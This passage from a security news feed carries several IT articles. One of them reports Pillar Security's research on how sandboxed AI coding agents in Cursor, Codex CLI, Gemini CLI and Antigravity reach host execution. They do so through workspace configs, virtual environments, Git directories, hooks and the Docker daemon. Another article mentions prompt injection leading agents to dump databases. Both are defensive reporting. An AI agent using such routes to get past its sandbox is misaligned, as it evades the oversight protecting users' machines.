<p class="wp-block-paragraph"><strong>Component 2: Allocation. </strong>Decide the split across horizons deliberately, as a board-level capital decision, not as the accidental sum of whatever pilots happened to win approval. A practical reference point, borrowed from decades of innovation-portfolio practice, is roughly 70% to near-term value, 20% to capability, and 10% to transformation. The exact ratio is yours; the discipline is to choose and defend it. The failure mode is an unmanaged portfolio: 90 percent scattered across disconnected Horizon 1 experiments, with nothing compounding into the Horizon 2 capability that the buy-and-integrate winners actually built.</p>



<p class="wp-block-paragraph"><strong>Component 3: Liquidation. </strong>Attach a kill line to every initiative at the moment it is funded: A named milestone, a date and an owner empowered to stop it. If a bet misses its horizon-appropriate milestone, it is liquidated, and capital is reallocated on schedule without debate over sunk costs. The absence of a pre-agreed kill line is not patience. It is an unpriced liability that the board has almost certainly not been shown.</p>



<p class="wp-block-paragraph"><strong>Component 4: Tracking. </strong>Report the portfolio to the board on a fixed cadence using a single instrument: The AI Portfolio Scorecard. Not a deck of project updates, but a single view of allocation by horizon, burn against milestone, liquidation decisions taken and capital reallocated to survivors. The cadence is the control. A portfolio reviewed once a year is a portfolio managed by hope.</p>



<p class="wp-block-paragraph"><strong>THE AI PORTFOLIO SCORECARD: SCORE EVERY INITIATIVE BEFORE IT IS FUNDED</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Evaluation criterion</strong></td><td><strong>0</strong></td><td><strong>1</strong></td><td><strong>2</strong></td></tr></thead><tbody><tr><td>Horizon assigned (H1 / H2 / H3) and documented before funding</td><td> </td><td> </td><td> </td></tr><tr><td>Success metric matched to the horizon, not a default quarterly ROI</td><td> </td><td> </td><td> </td></tr><tr><td>Kill line set: Named milestone and date, agreed at funding</td><td> </td><td> </td><td> </td></tr><tr><td>Owner named with explicit authority to stop the initiative</td><td> </td><td> </td><td> </td></tr><tr><td>Fits a deliberate allocation band, not an accidental addition</td><td> </td><td> </td><td> </td></tr><tr><td>Odds-raising path documented: Buy or partner and an integration plan</td><td> </td><td> </td><td> </td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Score each criterion: 0 = not present, 1 = partially documented, 2 = fully verified. Total out of 12. Bands: 0 to 4 = DO NOT FUND  |  5 to 8 = CONDITIONAL  |  9 to 12 = FUND.</em></p>



<p class="wp-block-paragraph"><strong>THE LIQUIDATION GATE: RUN AT EVERY BOARD REVIEW BEFORE CONTINUING FUNDING</strong></p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><thead><tr><td><strong>Review test</strong></td><td><strong>Status</strong></td></tr></thead><tbody><tr><td>Milestone for this horizon met or credibly on track</td><td>PASS / FAIL</td></tr><tr><td>Burn within plan to the next milestone</td><td>PASS / FAIL</td></tr><tr><td>Still fits the allocation band, with no quiet horizon drift</td><td>PASS / FAIL</td></tr><tr><td>Owner confirms continued strategic fit</td><td>PASS / FAIL</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph"><em>Any unresolved FAIL = stop funding, liquidate the position, reallocate the capital to a survivor and record the decision on the scorecard.</em></p>



<h2 class="wp-block-heading">The cost of the timing error</h2>



<p class="wp-block-paragraph">The financial case follows the pattern and is consistent. Consider two organizations that funded the same class of Horizon 3 bet: A domain-specific agent platform meant to compound over three years. The first review was conducted at month six against a quarterly return test, found no payback and killed it, booking the write-off as a lesson about AI being overhyped. Its competitor classified the same work as Horizon 3, set an 18-month capability milestone, protected funding through two review cycles and shipped to production within the window the work actually required. One organization spent its money to learn that it lacks allocation discipline. The other spent comparable money and now owns a capability its rival has abandoned and cannot quickly rebuild. The dollars on the two income statements are similar. The competitive positions are not.</p>



<h2 class="wp-block-heading">The governance return the board has been waiting for</h2>



<p class="wp-block-paragraph">Allocation discipline does two things at once. It stops the bleed by liquidating failures on a schedule rather than at the point of exhaustion. And it concentrates capital where the entire return lives, in the small number of bets that survive their horizon. The 5 percent figure is not a ceiling imposed by the technology. It is the current yield of an industry allocated by hype. An organization that classifies by horizon, allocates on purpose, liquidates on a line and tracks on a cadence is not trying to beat the technology. It is trying to beat its own indiscipline, and that is a far more winnable contest.</p>



<p class="wp-block-paragraph">The board conversation about AI returns is coming for every organization, and it arrives the moment the spending outpaces the story. When it does, the CIO will be asked a simple question: Where did the money go? The leaders who can answer will not show a pile of pilots. They will show a portfolio: What was funded, against which horizon, what was liquidated and when, and what the survivors are now worth. Subtraction is a strategy. The only question is whether you are practicing it on purpose or about to learn it by accident.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026 Ransomware Report Reveals 7,551 Victims, 146 Active Groups, and Qilin’s 443% Surge]]></title>
<description><![CDATA[Ransomware volumes hit a new peak in 2026, with Black Kite tracking 7,551 publicly disclosed victims, 146 active groups, and a 443% year‑over‑year surge in Qilin activity that reshapes the threat landscape. The data points to a structurally higher operating tempo, a middle‑market pivot, and attac...]]></description>
<link>https://tsecurity.de/de/3683732/it-security-nachrichten/2026-ransomware-report-reveals-7551-victims-146-active-groups-and-qilins-443-surge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683732/it-security-nachrichten/2026-ransomware-report-reveals-7551-victims-146-active-groups-and-qilins-443-surge/</guid>
<pubDate>Tue, 21 Jul 2026 14:54:41 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Ransomware volumes hit a new peak in 2026, with Black Kite tracking 7,551 publicly disclosed victims, 146 active groups, and a 443% year‑over‑year surge in Qilin activity that reshapes the threat landscape. The data points to a structurally higher operating tempo, a middle‑market pivot, and attacker visibility that often outpaces defenders’ own understanding of their […]</p>
<p>The post <a href="https://gbhackers.com/2026-ransomware-report/">2026 Ransomware Report Reveals 7,551 Victims, 146 Active Groups, and Qilin’s 443% Surge</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI agents can escape sandboxes without ever breaking them]]></title>
<description><![CDATA[Sandboxes have become a key security control for AI coding agents, but new research suggests they may not provide the isolation many organizations assume. 



Pillar Security has disclosed a series of vulnerabilities showing how agents in tools such as Cursor, Codex, Gemini CLI, and Antigravity c...]]></description>
<link>https://tsecurity.de/de/3683594/it-security-nachrichten/ai-agents-can-escape-sandboxes-without-ever-breaking-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683594/it-security-nachrichten/ai-agents-can-escape-sandboxes-without-ever-breaking-them/</guid>
<pubDate>Tue, 21 Jul 2026 13:53:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Sandboxes have become a key security control for AI coding agents, but new research suggests they may not provide the isolation many organizations assume. </p>



<p class="wp-block-paragraph">Pillar Security has disclosed a series of vulnerabilities showing how agents in tools such as Cursor, Codex, Gemini CLI, and Antigravity can indirectly cross security boundaries without technically escaping their sandboxes.</p>



<p class="wp-block-paragraph">“In almost every case, the agent did not need to break the sandbox directly,” the researchers said in a blog post. “It only had to write something that a trusted component outside the sandbox would later run, load, scan, or treat as safe.”</p>



<p class="wp-block-paragraph">The findings outlined four specific and repeatable failure modes in AI sandboxes. These included denylist sandboxes failing growing OS complexity, workspace configurations turning out to be executable code, command allowlists trusting command names instead of invocations, and privileged local daemons that sit outside the sandbox entirely.</p>



<p class="wp-block-paragraph">“CISOs and security buyers need to realize that it’s not enough for an agentic IDE or CLI to have a sandbox,” the researchers said, adding that it is important to know where the sandbox’s actual boundary is.</p>



<h2 class="wp-block-heading">Escaping sandboxes without breaking them</h2>



<p class="wp-block-paragraph">Pillar challenged the basic understanding of sandboxing in AI-assisted development. Rather than escaping through kernel exploits or container breakouts, the demonstrated attacks relied on an indirect mechanism.</p>



<p class="wp-block-paragraph">In all shown attack paths, the agent remains confined while producing files that trusted host-side applications subsequently consume.</p>



<p class="wp-block-paragraph">Those files may include workspace configuration, automation scripts, IDE settings, and virtual environment contents that naturally participate in a developer’s workflow. When external tools later execute or interpret those files outside the sandbox, code originating from within the isolated environment effectively crosses the security boundary without violating the sandbox’s rules.</p>



<h2 class="wp-block-heading">Different sandbox escapes for different agents</h2>



<p class="wp-block-paragraph">Pillar demonstrated the pattern across multiple AI coding tools using different techniques. In Antigravity, the researchers <a href="https://www.pillar.security/blog/escaping-antigravitys-allow-default-seatbelt" target="_blank" rel="noreferrer noopener">exploited</a> weaknesses in the denylist-style macOS Seabelt profile and abused VS Code task configurations that were later executed outside the sandbox. Cursor, meanwhile, was shown to trust agent-created <a href="https://www.pillar.security/blog/the-sandbox-let-me-edit-a-venv-and-something-else-ran-it" target="_blank" rel="noreferrer noopener">Python virtual environments</a>, alternate <a href="https://www.pillar.security/blog/git-directories-do-not-have-to-be-called-git" target="_blank" rel="noreferrer noopener">Git directories</a>, and workspace <a href="https://www.pillar.security/blog/the-hook-was-already-in-the-workspace" target="_blank" rel="noreferrer noopener">hook configurations </a>that ultimately ran with host privileges.</p>



<p class="wp-block-paragraph">The researchers also found a <a href="https://www.pillar.security/blog/one-docker-socket-to-rule-them-all-escaping-codex-cursor-and-gemini-clis-sandboxes" target="_blank" rel="noreferrer noopener">common escape path</a> affecting Cursor, Codex CLI, and Gemini CLI through Docker Desktop’s privileged daemon, allowing sandboxed agents to execute commands outside their restricted environments.</p>



<p class="wp-block-paragraph">In another Codex CLI finding, a supposedly safe Git allowlist could be manipulated to modify repository configuration and trigger code execution at a later stage.</p>



<h2 class="wp-block-heading">Agentic development demands a different security model</h2>



<p class="wp-block-paragraph">Pilar argued that enterprises need a new security model for agentic software. The existing endpoint protections typically focus on whether a process can escape its execution environment. But autonomous agents challenge this by continuously generating content that other trusted systems consume.</p>



<p class="wp-block-paragraph">The researchers recommended treating workspace configurations that can trigger execution as sensitive assets, requiring explicit approval before agents create or modify host-side automation, ensuring that helper processes operate under the same security policy as direct agent execution, and preserving provenance that distinguishes user-created files from repository- or agent-generated content. </p>



<p class="wp-block-paragraph">Organizations were also advised to model security policies around command side effects rather than simply process invocation, limit access to privileged local services, and monitor trust handoffs throughout the development workflow.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[IT leaders confident but cooked when it comes to rogue AI agents]]></title>
<description><![CDATA[A large majority of IT and security leaders are confident in their teams’ ability to detect when an AI agent has gone rogue, but few are able to take quick action to mitigate the fallout when an agent exceeds its intended scope.



Nine in 10 IT and security leaders surveyed by IT observability v...]]></description>
<link>https://tsecurity.de/de/3683326/it-security-nachrichten/it-leaders-confident-but-cooked-when-it-comes-to-rogue-ai-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683326/it-security-nachrichten/it-leaders-confident-but-cooked-when-it-comes-to-rogue-ai-agents/</guid>
<pubDate>Tue, 21 Jul 2026 12:09:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A large majority of IT and security leaders are confident in their teams’ ability to detect when an AI agent has gone rogue, but few are able to take quick action to mitigate the fallout when an agent exceeds its intended scope.</p>



<p class="wp-block-paragraph">Nine in 10 IT and security leaders surveyed by <a href="https://www.cio.com/article/4176067/the-ai-governance-imperative-you-cant-afford-to-ignore.html?utm=hybrid_search">IT observability</a> vendor WanAware believe in their capabilities to find malfunctioning agents, but only 26% acknowledge that they can trace the downstream impact within minutes. Over 45% say it would take hours to understand the full impact of an agent incident.</p>



<p class="wp-block-paragraph">That delay between detection and mitigation can be a huge problem, says <a href="https://www.linkedin.com/in/jmcollins/">Jeffrey Collins</a>, WanAware’s CEO. The survey suggests IT leaders are overconfident about their ability to control agents, he adds.</p>



<p class="wp-block-paragraph">And here, timing is critical, Collins says, given that malfunctioning agents can lead to major outages and data breaches — damage that can start within seconds, he notes.</p>



<p class="wp-block-paragraph">“That’s truly the gap here. It’s not if you understand it; it’s when you understand it,” Collins says. “If your average time to just knowing about an event is measured in days, weeks, or months, you have a serious problem right now.”</p>



<p class="wp-block-paragraph">While it’s not always easy to tell whether an agent has gone beyond its scope, it’s even harder to tell the downstream impacts, he adds.</p>



<p class="wp-block-paragraph">“What’s been affected if one machine was compromised, either from our own AI usage as a customer or from someone else’s, what else could happen, and how can we understand that quickly?” Collins asks.</p>



<h2 class="wp-block-heading">Machine speed</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kevin-paige-578547a/">Kevin Paige</a>, field CISO at IT solutions provider C1, agrees that time is of the essence when an AI agent malfunctions.</p>



<p class="wp-block-paragraph">“The problem is that agents move at machine speed, so the gap between an agent malfunctioning and you catching it isn’t measured in minutes, it’s measured in actions,” he says. “Every minute it’s wrong it’s still working, and because it’s usually running on borrowed standing credentials, the damage spreads across everything those credentials can reach before anyone can pin it on the agent.”</p>



<p class="wp-block-paragraph">In many cases, organizations with rogue agents don’t find out from their <a href="https://www.cio.com/article/4195251/19-agentops-tools-for-monitoring-ai-activity-issues-and-costs.html">own detection tools</a>, but from customers, auditors, or broken downstream systems, he says.</p>



<p class="wp-block-paragraph">“That’s the worst way to learn,” Paige adds. “The longer-term cost is trust, because one incident like that and the business pulls back on agents entirely, so failing to contain a malfunction fast is also what stalls adoption.”</p>



<p class="wp-block-paragraph">The problem with detecting <a href="https://www.cio.com/article/4127774/1-5-million-ai-agents-are-at-risk-of-going-rogue-2.html?utm=hybrid_search">rogue agents</a> is that many organizations have built in visibility but not control, he says.</p>



<p class="wp-block-paragraph">“When an agent goes out of scope it’s rarely dramatic,” Paige adds. “Usually, it’s using access it legitimately has, for a purpose nobody signed off on, which means your access model doesn’t even flag it. So you find out after the fact, and you fix it by hand.”</p>



<p class="wp-block-paragraph">IT teams can stop agents that exceed their scope, but only if controls were built in before the agent was deployed, adds <a href="https://www.linkedin.com/in/chrisdcamacho/">Chris Camacho</a>, COO of Abstract Security.</p>



<p class="wp-block-paragraph">“Every agent should have its own identity, narrowly scoped permissions, and a complete audit trail,” he says. “Just as important, organizations need the ability to immediately revoke that identity or suspend the agent without manually hunting through multiple consoles during an incident.”</p>



<p class="wp-block-paragraph">Part of the challenge is that an agent’s activity is spread across identities, cloud platforms, SaaS applications, APIs, and security tools that were not designed to tell a complete story, Camacho says. Security teams often have to piece together events from multiple basic questions such as, what did the agent access, and what changed?</p>



<p class="wp-block-paragraph">“Most organizations know where they’ve deployed AI agents,” he adds. “That’s very different from knowing exactly what an agent did after something unexpected happens.”</p>



<p class="wp-block-paragraph">The organizations that most successfully manage agents won’t be the ones that deploy the most, he says. “They’ll be the ones that can explain every action an agent took, prove it operated within policy, and stop it immediately when it doesn’t,” he adds.</p>



<h2 class="wp-block-heading">Confidence isn’t reality</h2>



<p class="wp-block-paragraph">The survey’s results make sense to <a href="https://www.linkedin.com/in/brinkleyjoseph/">Joe Brinkley</a>, director of offensive security research and community at pentest firm Cobalt. The high confidence in detecting malfunctions is compliance paperwork, whereas the minority of respondents who can detect problems quickly is the reality on the ground, he says.</p>



<p class="wp-block-paragraph">“Tracing agent impact fast is brutal,” Brinkley says. “These systems do not run on fixed code paths. They use nondeterministic reasoning across a web of different APIs. Traditional logs only catch isolated events. They completely miss the full execution chain.”</p>



<p class="wp-block-paragraph">By the time an anomaly alert hits, an agent has already executed multiple downstream actions, he adds.</p>



<p class="wp-block-paragraph">In some cases, agent malfunctions are related to data flow vulnerabilities, such as when a prompt injection from an untrusted input such as a malicious email overwrites the system instructions, he says.</p>



<p class="wp-block-paragraph">“We need to be clear about the actual technology; the AI is not waking up angry,” Brinkley says. “The agent suddenly thinks its official job is to dump your database. It spends tokens as fast as possible to do that.”</p>



<p class="wp-block-paragraph">Agents are also vulnerable to loop failures, when they hit API errors and try to self-correct, he adds.</p>



<p class="wp-block-paragraph">“It hits that same broken endpoint 10,000 times in two minutes,” he says. “It drains your budget and causes a self-inflicted denial of service. It is an automated wrecking ball moving faster than your monitoring can log it.”</p>



<p class="wp-block-paragraph">Brinkley recommends that IT leaders put “hard kill” switches at the API layer to stop agents going out of scope.</p>



<p class="wp-block-paragraph">“You can stop it, but soft guardrails are useless,” he says. “Do not try to patch the prompt or filter the text. You have to treat the agent like a compromised user account. Pull the OAuth tokens and kill the access immediately.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Small models, sovereign advantage: Why Australia should build its own AI edge]]></title>
<description><![CDATA[For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their busines...]]></description>
<link>https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/</guid>
<pubDate>Tue, 21 Jul 2026 12:03:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their business.</p>



<p class="wp-block-paragraph">That model is the <a href="https://www.cio.com/article/4119259/small-language-models-why-specialized-ai-agents-boost-resilience-and-protect-privacy.html">small language model (SLM)</a>: Compact, purpose-built, trained on an organization’s own data and run under that organization’s own governance. And it is about to become one of the most consequential strategic assets available to both the private and public sector.</p>



<h2 class="wp-block-heading">The problem with renting intelligence</h2>



<p class="wp-block-paragraph">Right now, most organizations consume AI the way they once consumed electricity from a single utility by plugging into a handful of frontier models built by a small number of global vendors. These models are extraordinary generalists. They are also, by design, generic. They are tuned to be safe, broad and useful to everyone, which means they are optimised for no one in particular.</p>



<p class="wp-block-paragraph">That’s a problem for any organization trying to build genuine differentiation. If every competitor in your sector is calling the same foundation model with the same prompts, the model itself is not your edge. Your edge is what only you know, your proprietary data, your institutional judgement, your operating history. A generic model can’t see any of that unless you keep feeding it to them, turn after turn, at cost, with no lasting memory and no guarantee of where that data ends up.</p>



<p class="wp-block-paragraph">An SLM flips that equation. Trained on an organization’s own document libraries, case histories, policy archives, transaction data and operational know-how, it becomes a model that thinks the way your organization thinks, because it was built from your organization’s accumulated judgement. It doesn’t need to be the smartest model in the world. It needs to be the most useful one for you.</p>



<p class="wp-block-paragraph">I’ve seen this play out directly. At one of Australia’s largest integrated tourism and cruise businesses, simultaneously a B2C retailer, a B2B distributor to thousands of agency and wholesale clients globally, an aggregator marketplace for more than 1,800 independent tourism operators, and a cruise operator with offshore shared services spanning finance, customer contact and content management. The constraint wasn’t a lack of access to large general-purpose models. It was that none of them understood the business: 1,800 different operator catalogues, each with its own pricing logic, inventory quirks and content conventions; years of customer contact history with its own vocabulary and escalation patterns; a marketplace search experience that needed to reason over the business’s own product taxonomy, not the open web’s.</p>



<p class="wp-block-paragraph">Models trained and tuned on that proprietary data, operator listings, historical tickets, booking and pricing data delivered results a generic model never could. Domain-tuned content drafting cut operator listing time by 70% and eliminated a 23-day onboarding backlog outright, taking new-operator time-to-live from 23 days to three. A semantic search model trained on the marketplace’s own product catalogue lifted booking conversion by 24%. AI-driven triage trained on the business’s own contact history cut Tier 1 escalations by 34%. None of this came from a smarter foundation model. It came from a smaller, more specific one that knew the business.</p>



<h2 class="wp-block-heading">Why “small” is the strategic choice, not the compromise</h2>



<p class="wp-block-paragraph">There’s a temptation to treat SLMs as the budget option, what you build when you can’t afford a frontier model. That’s the wrong frame. The evidence is already compelling: <a href="https://azure.microsoft.com/en-us/blog/empowering-innovation-the-next-generation-of-the-phi-family/">Microsoft’s Phi-4 family of small models</a>, released in early 2025, demonstrated that a 14-billion-parameter model can match or exceed the performance of models many times its size on complex reasoning and domain-specific tasks while running at a fraction of the compute cost and on-premise, entirely within an organization’s own infrastructure. Smaller, domain-trained models are increasingly outperforming general-purpose giants on narrow, high-value tasks, with far tighter control over data residency, security and explainability.</p>



<p class="wp-block-paragraph">For a CIO or CTO, that combination of lower cost, tighter governance, higher task-specific accuracy is rare enough to demand attention on its own. But the deeper value sits one layer up, at the operating model. An SLM trained on your service history can sit inside claims processing, citizen services, clinical triage, asset maintenance scheduling or M&amp;A due diligence quietly compounding institutional knowledge into a reusable asset rather than letting it walk out the door every time someone retires or resigns.</p>



<p class="wp-block-paragraph">That is the real shift: AI capability stops being a subscription and starts being a balance-sheet asset. It can be valued, protected, audited and improved because it belongs to you.</p>



<h2 class="wp-block-heading">The public sector’s hidden advantage</h2>



<p class="wp-block-paragraph">Nowhere is this more obvious than in government. The public sector sits on some of the richest, least-exploited data and institutional knowledge in the country: Decades of policy outcomes, service delivery history, regulatory precedent, infrastructure records and frontline expertise. Most of it has never been put to systematic use because no commercially available model was ever trusted to touch it, and rightly so.</p>



<p class="wp-block-paragraph">A small, sovereign, purpose-built model changes that calculus. Trained, hosted and governed entirely within government infrastructure, an SLM doesn’t require sensitive citizen or policy data to leave a secure perimeter. The Australian Government has already recognised this direction: <a href="https://www.finance.gov.au/about-us/news/2025/introducing-aps-ai-plan">The APS AI Plan, released in November 2025</a>, commits to expanding the GovAI platform to provide all public servants with secure, sovereign AI tools operating entirely within Australian Government infrastructure. SLMs tuned to individual agency mandates are the logical next step and a more powerful one than any generic government-wide tool can deliver.</p>



<p class="wp-block-paragraph">Rather than each agency independently negotiating with the same handful of overseas vendors, a coordinated approach of common standards for model governance, shared security architecture, common evaluation frameworks and pooled infrastructure investment would let agencies build and reuse SLM capability horizontally, the way shared services and common ICT platforms have been built before. Each agency gets a model genuinely tuned to its mandate, but the security model, audit trail and assurance framework are consistent, government-backed and independently verifiable.</p>



<p class="wp-block-paragraph">Done well, this isn’t just an efficiency play. It’s a sovereignty play. As <a href="https://www.govtechreview.com.au/content/gov-datacentre/article/why-sovereign-ai-is-becoming-a-strategic-priority-in-australia-81646916">GovTech Review has noted</a>, large language models hosted offshore create data flows that extend beyond Australia’s borders in ways that are rarely transparent, a risk that is simply untenable for government. Sovereign, purpose-built models keep Australian public data, public knowledge and the resulting capability uplift inside Australian hands, rather than exporting both the data and the long-term value to offshore platforms.</p>



<h2 class="wp-block-heading">Why this belongs in the innovation budget, not the IT budget</h2>



<p class="wp-block-paragraph">The instinct in many organizations is to treat AI spend as an IT line item, something to be minimised, benchmarked and squeezed for cost efficiency. SLMs deserve a different treatment. They are closer to R&amp;D than infrastructure: An investment in converting accumulated institutional knowledge into a durable, defensible capability.</p>



<p class="wp-block-paragraph">That argument holds in the private sector too. A PE-backed portfolio company, a regulated financial services firm, a healthcare provider — each has years of proprietary operating data sitting idle in case files, transaction logs and service records. An SLM built on that data is a way of turning a sunk cost, decades of operational history, into a forward-looking asset that compounds with every additional case it processes.</p>



<p class="wp-block-paragraph">Boards and executive committees that are still asking “what is our AI strategy?” as a single, undifferentiated question are asking the wrong thing. The better question is: Which parts of our operation are rich enough in proprietary data and judgement to justify owning the model outright, rather than renting someone else’s?</p>



<h2 class="wp-block-heading">The opportunity in front of us</h2>



<p class="wp-block-paragraph">The first wave of enterprise AI adoption was about access: Getting a capable model into people’s hands quickly. The next wave will be about ownership: Who controls the model, who controls the data it was built on, and who captures the long-term value of the institutional knowledge it encodes.</p>



<p class="wp-block-paragraph">Australia, with a public sector rich in data and a private sector with deep vertical expertise in financial services, resources, healthcare and logistics, is well placed to lead on this if it treats small, sovereign models as a genuine national capability question, not a procurement footnote. The organizations, and the country, that move early will not just save money. They will own something their competitors can’t easily replicate: An AI that knows them.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Secure Are Crypto Wallet APIs? A Cybersecurity Perspective]]></title>
<description><![CDATA[A crypto wallet API can move real money in milliseconds. That speed is the whole point, and it's also the reason attackers pay so much attention to these endpoints. When you connect an application to a wallet through an API, you're handing over the ability to sign transactions, check balances, an...]]></description>
<link>https://tsecurity.de/de/3683272/it-security-nachrichten/how-secure-are-crypto-wallet-apis-a-cybersecurity-perspective/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683272/it-security-nachrichten/how-secure-are-crypto-wallet-apis-a-cybersecurity-perspective/</guid>
<pubDate>Tue, 21 Jul 2026 11:56:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="hs-featured-image-wrapper"> 
 <a href="https://www.cm-alliance.com/cybersecurity-blog/how-secure-are-crypto-wallet-apis-a-cybersecurity-perspective" title="" class="hs-featured-image-link"> <img src="https://www.cm-alliance.com/hubfs/Crypto_Wallets_Security_with_bgc%20(1).webp" alt="Crypto Wallets Security" class="hs-featured-image"> </a> 
</div> 
<p><span>A crypto wallet API can move real money in milliseconds. That speed is the whole point, and it's also the reason attackers pay so much attention to these endpoints. When you connect an application to a wallet through an API, you're handing over the ability to sign transactions, check balances, and shift funds between addresses. </span></p> 
<p><span>Get the security wrong and the damage isn't a bad user experience. It's stolen assets that no one can claw back. </span><br></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[It’s the Wrong Way to Address A.I. Job Loss. Trump Loves It.]]></title>
<description><![CDATA[The president has had the government take shares in all sorts of corporations. This approach would be particularly bad for the A.I. industry.]]></description>
<link>https://tsecurity.de/de/3683172/ai-nachrichten/its-the-wrong-way-to-address-ai-job-loss-trump-loves-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683172/ai-nachrichten/its-the-wrong-way-to-address-ai-job-loss-trump-loves-it/</guid>
<pubDate>Tue, 21 Jul 2026 11:18:29 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The president has had the government take shares in all sorts of corporations. This approach would be particularly bad for the A.I. industry.]]></content:encoded>
</item>
<item>
<title><![CDATA[SaaS will survive, but lazy SaaS is dead]]></title>
<description><![CDATA[Something interesting happened during an internal evaluation of AI meeting transcription tools at Tungsten Automation. The products worked. They weren’t bad. But sitting across from the pricing, we kept asking the same question: what exactly are we paying for? 



We already had a secure enterpri...]]></description>
<link>https://tsecurity.de/de/3683122/ai-nachrichten/saas-will-survive-but-lazy-saas-is-dead/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683122/ai-nachrichten/saas-will-survive-but-lazy-saas-is-dead/</guid>
<pubDate>Tue, 21 Jul 2026 11:05:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Something interesting happened during an internal evaluation of AI meeting transcription tools at Tungsten Automation. The products worked. They weren’t bad. But sitting across from the pricing, we kept asking the same question: what exactly are we paying for? </p>



<p class="wp-block-paragraph">We already had a secure enterprise AI environment. Building a meeting summary workflow took days, not months. We customized the outputs, injected our own internal context, and controlled security our way instead of working around someone else’s roadmap. We built it. It works better. We own it.</p>



<p class="wp-block-paragraph">That’s not a knock on those vendors. It’s a signal of something more fundamental happening across enterprise software.</p>



<h2 class="wp-block-heading">The moat was never the product</h2>



<p class="wp-block-paragraph">For two decades, <a href="https://www.infoworld.com/article/2256637/what-is-saas-software-as-a-service-defined.html" data-type="link" data-id="https://www.infoworld.com/article/2256637/what-is-saas-software-as-a-service-defined.html">SaaS</a> rode a favorable asymmetry: building internal tools was hard, integrations were messy, and even modest automation required developers and long timelines. Buying was faster and cheaper than building. That asymmetry fueled the explosion of SaaS into every corner of the enterprise stack.</p>



<p class="wp-block-paragraph">AI is collapsing that asymmetry. Large language models and agentic workflows can orchestrate APIs, move data between systems, generate interfaces, and automate business logic with a fraction of the engineering effort required even two years ago. The integration friction that once protected entire product categories is evaporating.</p>



<p class="wp-block-paragraph">The vendors most exposed are not the deeply embedded enterprise platforms. They’re the lightweight workflow layers, the products that essentially put a polished interface on top of accessible data and relatively straightforward processes. Reporting dashboards. Meeting tools. Narrow productivity applications. These products created value by simplifying implementation. That rationale is getting harder to sustain when implementation is no longer the real barrier.</p>



